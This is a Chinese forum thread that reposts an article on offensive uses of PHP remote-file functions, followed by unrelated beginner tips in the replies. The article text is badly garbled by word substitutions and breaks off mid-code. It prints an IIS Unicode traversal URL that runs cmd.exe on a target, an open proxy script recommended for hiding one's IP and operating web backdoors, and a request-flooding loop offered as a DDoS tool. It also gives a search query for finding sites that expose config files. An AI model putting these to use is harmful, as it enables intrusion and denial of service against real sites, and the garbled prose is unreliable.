仓酷云

标题: PHP网页设计PHP在平安方面的另类使用 [打印本页]

作者: 柔情似水    时间: 2015-2-4 00:11
标题: PHP网页设计PHP在平安方面的另类使用
根据功能来进行封装等。很多的不懂,在使用搜索引擎查找,或者请教老师和在老师详细的讲解、指导下,都能顺利解决。平安    1.近程文件
  
  PHP是一门具有丰厚特征的言语,它供应了大批函数,使法式员可以便利地完成各类功效,近程文件就是一个很好的例子:
  代码
  <?php
  $fp=@Fopen($url,"r") or die ("cannot open $url");
  while($line=@fgets($fp,1024)) {
  $contents.=$line;
  }
  echo $contents; //显示文件内容
  fclose($fp); //封闭文件
  ?>
  
  以上是一段使用Fopen函数翻开文件的代码,因为Fopen函数撑持近程文件,使得它使用起来相当风趣,将以上代码保留为Proxy.php,然后后提交:
  
  代码
  /proxy.php?url=http://www.hacker.com.cn/bbs
  
  
  这时候候你会发明服装论坛下方显示的IP地址酿成了PHP剧本所处办事器的IP地址。Fopen函数可以从任何其Web或FTP站点读取文件,现实上PHP的大多半文件处置函数对近程文件都是通明的,好比恳求:
  
  代码
  /proxy.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir
  
  如许实践上是使用了Target主机上的Unicode破绽,履行了DIR号令。但并非一切的办事器都撑持近程文件的功效,假如你利用的是贸易的办事器,极可能会发明近程文件利用不了(如51的虚拟主机),这是由于在贸易主机下限制近程文件的功效,常常可以更好的回护办事器的正常运转。你可以经由过程PHPinfo()检查办事器是不是撑持这类功效。固然,在PHPinfo()被禁用的情形下,也能够利用Get_cfg_var():
  
  代码
  <?php
  echo "是不是答应利用近程文件(allow_url_Fopen)";
  ?php
  if (get_cfg_var("allow_url_Fopen")=="1")
  {
  echo("<font color=green><b>是</b></font>");
  }
  else echo("<font color=red><b>否</b></font>");
  ?>
  
  当Allow_url_Fopen一项参数为ON时,即撑持近程文件的功效。充实发扬近程文件的特征,咱们可以完成很多特别的功效:假如你是用过PHP Flame的最新版本,你会发明它在集文件夹复制、文本搜刮等功效的基本上,又增添了Web间文件传输的功效,依托这类功效,你可以随便将其他办事器上的文件传送到你的Web目次下。并且,在两台办事器间传送文件有着飞快的传输速度。咱们看看完成这个功效的代码:
  
  代码
  <?php
  $fp = Fopen($_GET['filename'], 'rb'); //翻开文件
  $data = $tmp = '';
  while ( true ) {
  $tmp = fgets($fp, 1024);
  if ( 0 === strlen($tmp) ) {
  break; //跳出while轮回
  }
  $data .= $tmp;
  }
  fclose($fp); //封闭文件
  $file=preg_replace("/^.+\//","",$filename);//转换文件名
  //write
  $fp = Fopen("$file", 'wb'); //生成文件
  fwrite($fp, $data); //写入数据
  fclose($fp);
  ?>
  
  在挪用Fopen和Fwrite函数时到场"b"标志,可使这两个函数平安应用于二进制文件而不破坏数据。在以上剧本提交:
  /down.php?filename=http://www.chinaz.com/winrar.zip
  这时候便会在Down.php的所处目次下生成响应的Winrar.zip文件。假如再共同遍历目次的功效,你将可以完成多个文件夹办事器间的传输。然而,近程文件应当还有更大的发扬空间,好比写SQL Injection进击的主动剧本,乃至是HTTP的代办署理办事:
  
  代码
  <?
  $url = getenv("QUERY_STRING");
  if(!ereg("^http",$url)) //反省输出的URL格局
  {
  echo "例子:<br>http://www.163.com/<br>";
  echo "http://www.xxxx.com/list.php?id=600<br>";
  echo "当URL为目次时需求在目次后到场"/"";
  exit;
  }
  if($url)
  $url=str_replace("\\","/",$url);
  $f=@Fopen($url,"r"); //翻开文件
  $a="";
  if($f)
  {
  while(!feof($f))
  $a.=@fread($f,8000); //读取文件
  fclose($f);
  }
  $rooturl = preg_replace("/(.+\/)(.*)/i","\\1",$url); //转换根目次
  $a = preg_replace("/(src[[:space:]]*=['\"])([^h].*?)/is","\\1$rooturl\\2",$a);
  $a = preg_replace("/(src[[:space:]]*=)([^h'\"].*?)/is","\\1$rooturl\\2",$a); //转换图片地址
  $a = preg_replace("/(action[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
  $a = preg_replace("/(action[[:space:]]*=)([^h'\"].*?)/is","\\1$php_self?$rooturl\\2",$a); //转换POST地址
  $a = preg_replace("/(<a.+?href[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
  $a = preg_replace("/(<a.+?href[[:space:]]*=[^'\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);//转换链接地址
  $a = preg_replace("/(link.+?href[[:space:]]*=[^'\"])(.*?)/is","\\1$rooturl\\2",$a);
  $a = preg_replace("/(link.+?href[[:space:]]*=['\"])(.*?)/is","\\1$rooturl\\2",$a); //转换款式表地址
  echo $a;
  exit;
  ?>
  
  在正则表达式的匡助下,以上代码可以自行地将前往页面中包括的链接和图片停止转换,并把页面内的链接主动提交到以后PHP剧本的$url中。例如提交:
  /proxy.php?http://www.xfocus.net/
  剧本将会前往http://www.xfocus.net/的内容。
  
  固然,这应用的相对不单单是框架的技能。应用这个剧本你可以近程操作安装在其他办事器的Web后门,或将肉鸡做成一个复杂的HTTP代办署理,从而更好的埋没本人的IP。假如利用PHP编写CGI扫描东西,你需求延伸PHP的无效运转工夫。以下是两种无效的办法,固然你也能够将PHP代码编译成GUI界面,从而处理这个成绩。设置PHP的无效运转工夫为三分钟:
  
  代码
  <? ini_set("max_execution_time",60*3); ?>
  <? set_time_limit(60*3); ?>
  
  咱们再看看这类功效在DDOS进击中的使用:
  
  代码
  <?php
  set_time_limit(60*3);
  $url="http://www.xxx.com/bbs/userlist.php?userid=";
  for($i=1131;$i<=1180;$i++)
  {
  $urls=$url.$i; //将$url与$i链接在一同
  $f=@Fopen($urls,"r"); //恳求$urls
  $a=@fread($f,10); //掏出局部内容
  fclose($f); //封闭$urls
  }
  ?>
  
  以上用For轮回不休地恳求Userlist.php?userid=$i的内容($i的值每次都是分歧的),然而翻开后仅仅掏出几个字节便封闭这个剧本了。PHP运转在虚拟主机上,10秒钟即可以翻开几十个URL,当同时运转多个历程时,便有能够完成DDOS进击,让对方的服装论坛敏捷溃散。
  
  限于版面,近程文件的内容就先说到这里了,假如你还有不分明的中央,请参考以下的这篇文章:《在PHP中利用近程文件》
  
  2.毛病回显
  
  PHP在默许的情形下翻开毛病回显,如许可以便于法式员在调试剧本时发明代码的毛病,然而这也常常使Web表露了PHP的代码和办事器的一些数据。PHP对代码的标准性请求对照严厉,以下是一种对照罕见的毛病回显:
  warning:file("data/1120\'.htm)-no such file or
  directory in /usr/home/xxxxx.com/show.php on line 300
  这类毛病回显,最少告知了咱们三个信息:办事器的操作体系是LINUX;办事器利用文本数据库;Show.php的第300行代码为"file ("./data/1120/".$data.".htm")"。
  这类毛病回显,已足以成为一台办事器致命的破绽。从另外一个使用的角度来看,咱们发明普通的PHP毛病回都包括了"warning"字符,然而这有甚么用呢?咱们得先熟悉一下PHP的库文件。
  PHP的Include()和Require()次要是为了撑持代码库,由于咱们通常为把一些常常利用的函数放到一个自力的文件中,这个自力的文件就是代码库,当需求利用个中的函数时,咱们只需把这个代码库包括到以后的文件中就能够了。
  最后,人们开辟和宣布PHP法式的时分,为了区分代码库和主法式代码,通常为为代码库文件设置一个".inc"的扩大名,然而他们很快发明这是一个毛病,由于如许的文件没法被PHP注释器准确解析为PHP代码。假如咱们直接恳求办事器上的这类文件时,咱们就会失掉该文件的源代码,这是由于当把PHP作为Apache的模块利用时,PHP注释器是依据文件的扩大名来决意是不是解析为PHP代码的。扩大名是站点办理员指定的,通常为".php", ".php3"和".php4"。假如主要的设置装备摆设数据被包括在没有适合的扩大名的PHP文件中,那末近程进击者将轻易失掉这些信息。
  依照以往的法式员的习气,常常会把一些主要的文件设定"config.inc","coon.inc"等模式,假如咱们在搜刮引闹兴阉"warning+config.inc",那末你会发明很多网站都表露了".inc"文件的代码,乃至包含很多贸易和当局网站。
  
  要封闭PHP的毛病回显凡是有两个办法,第一个是直接修正Php.ini中的设置,这咱们之前已引见过了;第二种办法是在PHP剧本中到场克制毛病回显的代码,你可以在挪用的函数前函数到场"@"字符,或在PHP的代码顶端到场"error_reporting(0);"的代码,要懂得更多的内容请参考PHP手册中的"error_reporting"一节。
  
  3.变量回显
  
  WEN的平安成绩次要集中变量的处置上,对变量的处置不妥,会招致多种平安成绩。先看一下的例子:
  
  代码
  <td width="400">
  <select name="face">
  <option value="1.gif">1.gif</option>
  <option value="2.gif">2.gif
在我开始学习PHP以前,我从未想过要做软件工程,即便是在去听过华育国际的关于软件工程的美好前景后,因为我一直都没有想过要与代码打交道,而是想学好所学专业,做个网络工程师或者是网络安全人员。
作者: 金色的骷髅    时间: 2015-2-4 09:51
个人呢觉得,配wamp 最容易漏的一步就是忘了把$PHP$目录下的libmysql.dll拷贝到windows系统目录的system32目录下,还有重启apache。
作者: 飘飘悠悠    时间: 2015-2-9 21:54
开发工具也会慢慢的更专业,每个公司的可能不一样,但是zend studio是个大伙都会用的。
作者: 透明    时间: 2015-2-17 00:55
爱上php,他也会爱上你。
作者: 小妖女    时间: 2015-2-22 20:11
对于懒惰的朋友,我推荐php的集成环境xampp或者是wamp。这两个软件安装方便,使用简单。但是我还是强烈建议自己动手搭建开发环境。
作者: 活着的死人    时间: 2015-3-3 11:16
我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能:
作者: 若相依    时间: 2015-3-6 17:38
学好程序语言,多些才是王道,写两个小时代码的作用绝对超过看一天书,这个我是深有体会(顺便还能练打字速度)。
作者: 老尸    时间: 2015-3-13 04:41
刚开始安装php的时候,我图了个省事,把php的扩展全都打开啦(就是把php.ini 那一片 extension 前面的冒号全去掉啦),这样自然有好处,以后不用再需要什么功能再来打开。
作者: 分手快乐    时间: 2015-3-17 06:54
使用zendstdio 写代码的的时候,把tab 的缩进设置成4个空格是很有必要的
作者: 山那边是海    时间: 2015-3-18 10:23
说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年  具体的记不清啦,囧。
作者: 莫相离    时间: 2015-3-21 20:30
php是动态网站开发的优秀语言,在学习的时候万万不能冒进。在系统的学习前,我认为不应该只是追求实现某种效果,因为即使你复制他人的代码调试成功,实现了你所期望的效果,你也不了解其中的原理。
作者: 再现理想    时间: 2015-3-27 12:09
最后祝愿,php会给你带来快乐的同时 你也会给他带来快乐。
作者: 小魔女    时间: 2015-4-1 03:11
Ps:以上纯属原创,如有雷同,纯属巧合
作者: 只想知道    时间: 2015-6-8 20:44
我还是推荐用firefox ,配上firebug 插件调试js能省下不受时间。谷歌的浏览器最好也不少用,因为谷歌的大侠们实在是太天才啦,把一些原来的js代码加了一些特效。
作者: 冷月葬花魂    时间: 2015-6-18 22:01
如果你已经到这种程度了,那么你已经可以做我的老师了。其实php也分很多的区域,
作者: 变相怪杰    时间: 2015-6-27 19:22
说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年  具体的记不清啦,囧。
作者: 简单生活    时间: 2015-6-30 14:38
有位前辈曾经跟我说过,phper 至少要掌握200个函数 编起程序来才能顺畅点,那些不熟悉的函数记不住也要一拿手册就能找到。所以建议新手们没事就看看php的手册(至少array函数和string函数是要记牢的)。
作者: 仓酷云    时间: 2015-7-15 04:44
使用zendstdio 写代码的的时候,把tab 的缩进设置成4个空格是很有必要的
作者: 兰色精灵    时间: 2015-10-7 13:05
说php的话,首先得提一下数组,开始的时候我是最烦数组的,总是被弄的晕头转向,不过后来呢,我觉得数组里php里最强大的存储方法,所以建议新手们要学好数组。
作者: 精灵巫婆    时间: 2015-10-7 20:10
其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎
作者: 愤怒的大鸟    时间: 2015-10-12 08:30
写js我最烦的就是 ie 和 firefox下同样的代码 结果显示的结果千差万别,还是就是最好不要用遨游去调试,因为有时候遨游是禁用js的,有可能代码是争取结果被遨游折腾的认为是代码写错。




欢迎光临 仓酷云 (http://www.ckuyun.com/) Powered by Discuz! X3.2